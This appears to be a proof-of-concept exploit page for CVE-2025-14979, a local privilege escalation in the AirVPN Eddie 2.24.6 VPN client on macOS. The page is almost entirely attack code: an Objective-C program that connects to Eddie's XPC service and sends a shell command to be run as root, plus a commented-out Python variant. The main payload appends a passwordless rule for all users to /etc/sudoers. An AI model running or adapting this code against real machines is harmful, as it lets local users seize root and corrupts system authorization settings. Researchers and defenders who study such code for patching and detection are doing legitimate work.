CVE-2025-14979: AirVPN Eddie MacOS本地提权漏洞

// CVE-2025-14979 PoC - AirVPN Eddie XPC Privilege Escalation // Target: AirVPN Eddie 2.24.6 on macOS // Attack Type: Local Privilege Escalation via Insecure XPC Service #include <Foundation/Foundation.h> #import <objc/runtime.h> // XPC Service endpoint identification NSString *kEddieXPCServiceName = @"com.airvpn.eddie.xpc"; @interface EddieXPCClient : NSObject - (void)invokePrivilegedCommand:(NSString *)command withReply:(void (^)(NSData *, NSError *))reply; @end int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[*] CVE-2025-14979 PoC - Eddie XPC Privilege Escalation"); NSLog(@"[*] Target: Eddie 2.24.6"); // Step 1: Connect to vulnerable XPC service NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:kEddieXPCServiceName]; [connection resume]; // Step 2: Get proxy object without proper authorization id proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) { NSLog(@"[!] XPC connection error: %@", error); }]; // Step 3: Trigger privileged command execution // The vulnerable service executes this as root NSString *payload = @"/bin/bash -c 'echo ALL=(ALL) NOPASSWD:ALL >> /etc/sudoers'"; [(EddieXPCClient *)proxy invokePrivilegedCommand:payload withReply:^ (NSData *response, NSError *error) { if (error) { NSLog(@"[!] Command execution failed: %@", error); } else { NSLog(@"[+] Privilege escalation successful!"); NSLog(@"[+] Root shell acquired via sudo -s"); } }]; [[NSRunLoop mainRunLoop] run]; } return 0; } // Alternative Python implementation using Rubicon-ObjC /* from rubicon.objc import ObjCClass, NSString import subprocess def exploit_cve_2025_14979(): print("[*] CVE-2025-14979 PoC") # Connect to XPC service connection = ObjCClass('NSXPCConnection').alloc().initWithServiceName_( 'com.airvpn.eddie.xpc' ) connection.resume() # Get vulnerable proxy proxy = connection.remoteObjectProxyWithErrorHandler_(lambda e: print(e)) # Execute as root via vulnerable XPC proxy.invokePrivilegedCommand_withReply_( '/bin/bash -c "echo pwned > /tmp/root.txt"', lambda r, e: print('[+] Root command executed!') ) */